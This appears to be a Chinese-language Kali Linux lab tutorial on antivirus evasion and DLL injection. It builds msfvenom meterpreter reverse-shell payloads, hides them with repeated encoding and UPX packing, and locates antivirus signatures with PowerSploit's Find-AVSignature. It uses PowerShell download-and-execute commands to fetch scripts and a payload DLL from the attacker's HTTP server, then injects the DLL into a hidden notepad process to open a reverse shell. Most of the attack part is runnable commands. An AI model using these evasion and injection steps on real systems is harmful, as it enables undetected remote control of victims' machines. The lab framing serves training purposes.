Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹
长期以来,杀毒软件厂商和黑客一直处于博弈的状态,杀毒软件厂商研究了各种检测和清除远程控制被控端的方法,而黑客也在一直致力于研究避开检测的方法(简称为免杀技术)。远程控制被控端也可被看作病毒的一种。
到目前为止,杀毒软件主要使用了3种技术。如下:
- 基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,检测程序时看它是否包含这个特征码。
- 基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。病毒程序在运行后会将自身释放到内存中,释放后到文件结构与为执行的文件相比有较大的差异。因此基于内存扫描的反病毒技术使用一套针对内存的特征码来检测病毒程序。
- 基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法查杀。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后进行一些非正规的、可疑的操作,如修改系统的注册表的重要部分,则会被视作病毒病查杀。
那么黑客的免杀手段是针对杀毒软件发展出来的,免杀手段如下:
- 修改特征码,就是修改病毒样本中的一段特有的二进制代码串
- 添加花指令,向病毒程序中添加一些无意义的指令,改变程序特征码的位置。
- 程序加密(加壳),程序加壳后就会变成PE(Portable Execute)文件里的一段数据,在执行加壳文件时会先执行壳,再由壳将已加密的程序解密并还原到内存中。
前两种免杀手段主要针对基于文件扫描的反病毒技术,第3种免杀手段主要针对基于文件扫描的反病毒技术和基于内存扫描的反病毒技术。黑客在使用远程控制被控端时,通常尽量采用反向连接、尽量对通信加密、尽量避免对系统进行修改等方式来躲避检测。
1. msfvenom提供的免杀方法
使用msfvenom生成攻击载荷,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f exe -o /var/payload1.exe
如果将生成的payload1.exe拖拽到Win10或者装有杀毒软件的电脑中,可能被杀端软件发现,就会弹出一个警示窗口,如下图所示:
即便复制过程中没有被查杀,当用户使用杀端软件进行硬盘杀毒操作时,也会出现如上提示。这个过程,杀毒软件使用的是基于文件扫描的反病毒技术, 因为payload1.exe根本还没有运行就被发现了。所以我们应该设法消除payload1.exe的特征码。msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行后,msf编码器会将原可执行程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。我们可以使用如下命令查看msfvenom中支持的编码方式:
┌──(root💀kali)-[~]
└─# msfvenom -l encoders
它们被按照Metasploit里的分类标准分成了7个登记:manual、low、average、normal、good、great、excellent。如下图红框所示:
最常用的编码方式是x86/shikata_ga_nai,它的评级是excellent。我们使用一个评级为low的编码方式x86/nonalpha进行测试。首先执行如下命令:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/nonalpha -f c
参数-e 是选择的编码器,使用x86/nonalpha编码方式得到的Shellcode如下图所示:
注意:这里的输出参数为c,表明这是一段可以在C程序中调用的Shellcode。如果尝试执行两次这条命令,观察生成的Shellcode,发现它们都是相同的, 因此杀毒软件很容易就可以从里面找到特征码进行查杀。
使用编码方式x86/shikata_ga_nai 进行测试,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -f c
第一次生成的Shellcode片段,如下图所示:
第二次生成的Shellcode片段,如下图所示:
对照上面两张图,两次生成的Shellcode虽然功能相同,但是从代码上看已经完全不同,因此这种编码方式格外受到黑客喜爱。因为这里使用的x86/shikata_ga_nai 是多态的,所以有时候生成的文件会被查杀有时候却不会。
有的时候杀毒软件会采用先解码再识别的方式,这时黑客会选择使用多次编码、多重编码的方式。如使用x86/shikata_ga_nai 连续10次编码,再使用其他编码方式,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/payload.exe
这里的参数i指定编码的次数,即便是使用多次编码、多重编码,大多数时候仍然会被杀毒软件查杀。如下图所示:
红框内是编码的次数。加壳也是对抗基于文件扫描和内存扫描的反病毒技术的常用手段,Kali Linux中提供了一个很流行的加壳工具UPX,启动方式很简单,命令及输出如下所示:
┌──(root💀kali)-[~]
└─# upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress
Type 'upx --help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io
对上面编码生成的payload.exe文件进行加壳,命令及输出如下所示:
┌──(root💀kali)-[~]
└─# upx /var/payload.exe 1 ⨯
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
73802 -> 48128 65.21% win32/pe payload.exe
Packed 1 file.
编码和加壳之后,此文件拖拽到Win10系统依然被查杀,弹出警告。可以反复多次编码尝试。
2. PowerSploit提供的免杀方法
如上所述,msfvenon提供的免杀方案已经很难发挥作用了。PowerSploit工具基于PowerShell工具,PowerShell是微软提供的一个程序,相当于UNIX系统的BASH命令, 它是个很强大的工具,学会使用它对Windows上的安全工作有很大帮助。使用PowerShell来实现被控端可以逃避很多反病毒软件的查杀。因此PowerSploit也成为了一个非常受欢迎的黑客工具。在Kali Linux中依次点击菜单栏10-Post Exploitation/OS Backdoors/powersploit来启动PowerSploit,如下图所示:
启动之后的PowerSploit其实是一个目录,里面包含了一些其他的目录内容,如果要使用这个工具,需要将PowerSploit目录当做一个网站发布出去。
┌──(root💀kali)-[/usr/share/windows-resources/powersploit]
└─# python3 -m http.server 8000
注意: 如果要在浏览器直接访问powersploit一定要在powersploit路径下**/usr/share/windows-resources/powersploit**运行上面箭头所指的启动命令。否则无法直接访问该目录。
启动之后,在靶机(Win7)安装有PowerShell的机器上访问Kali Linux IP地址和8000端口,就可以直接访问到powersploit目录了,如下图所示:
PowerSploit功能很多,首先从AntivirusBypass开始,这个功能可以用来检测被控端特征码。AntivirusBypass的思想很简单,既然被控端程序中的一段内容是特征码,那么我们就将被控端程序分成n个部分,然后分别使用杀软检查。如果哪个部分报毒,那么说明这个部分存在特征码,接着再将报毒部分分成n个部分,再分别使用杀毒软件检查,逐渐找到特征码所在位置。
步骤如下:
1. 下载Find-AVSignature.ps1文件
在靶机(Win7)中使用PowerShell的下载功能,命令如下:
PS C:\Users\CISP-PTE>iex(New-Object Net.WebClient).DownloadString("http://192.168.68.125:8000/AntivirusBypass/Find-AVSignature.ps1")
要下载的脚本在Kali建立服务器下的/AntivirusBypass/Find-AVSignature.ps1文件。使用方法可执行如下图箭头所指命令。
2. 生成测试文件
测试的目标是一个20000字节的test.exe, 首先把它移动到C盘下,然后使用如下命令:
PS C:\Users\CISP-PTE> Find-AVSignature -StartByte 0 -EndByte 200000 -Interval 100000 -Path C:\test.exe -OutPath C:\run2 -Verbose
该命令执行之后,在C:\run2目录下生成2个文件。使用杀毒软件对这2个文件进行检查,找出报毒部分。然后反复执行,知道发现特征吗所在位置。
3. Invoke-DllInjection脚本注入DLL实现反向被控
PowerSploit中提供的第2部分功能是CodeExecution,这里主要提供4个脚本:
- Invoke-DllInjection.ps1
- Invoke-ReflectivePEInjection.ps1
- Invoke-Shellcode.ps1
- Invoke-WmiCommand.ps1
脚本Invoke-DllInjection用来实现将DLL文件注入到一个进程中,例如我们生成一个DLL类型反向被控端。
1. 生成DLL反向被控payload,命令如下:
┌──(root💀kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f dll -o /var/payload.dll
运行结果如下图所示:
注意:此处一定要生成64位payload,就是windows/x64,否则生成是32位dll不能完成注入。除非靶机也是32位系统。
这也是本人在实践中获取的经验和知识。
2. 在靶机下载payload.dll
在靶机PowerShell执行如下命令,将payload.dll下载到C盘根目录:
PS C:\Users\CISP-PTE>(New-Object System.Net.WebClient).DownloadFile("http://192.168.68.125:8000/payload1.dll", "c:\payload.dll")
注意:在Kali Linux中要把payload.dll文件拷贝到"/usr/share/windows-resources/powersploit/"路径下,然后执行上面的下载命令。
3. 在靶机中下载Invoke-DllInjection脚本
下载完payload.dll文件,接下来用PowerShell下载Invoke-DllInjection脚本,命令如下:
PS C:\Users\CISP-PTE>iex(New-Object Net.WebClient).DownloadString("http://192.168.68.125:8000/CodeExecution/Invoke-DllInjection.ps1")
使用get-help来查看Invoke-DllInjection的帮助,如下图所示:
4. 在靶机建立一个隐藏进程
在PowerShell中使用如下命令,建立一个隐藏进程:
PS C:\Users\CISP-PTE>Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
在PowerShell中使用“Get-Process”获取进程ID,命令如下:
PS C:\Users\CISP-PTE>Get-Process -Name notepad
5. 将payload.dll注入到700进程
按照上图获取的帮助语法进行注入,命令如下:
PS C:\Users\CISP-PTE> Invoke-DllInjection -ProcessID 3368 c:\payload.dll
注入成功,如下图所示:
6. Kali Linux msf界面反弹成功
如下图所示:
红框内是靶机Win7的用户目录下的文件。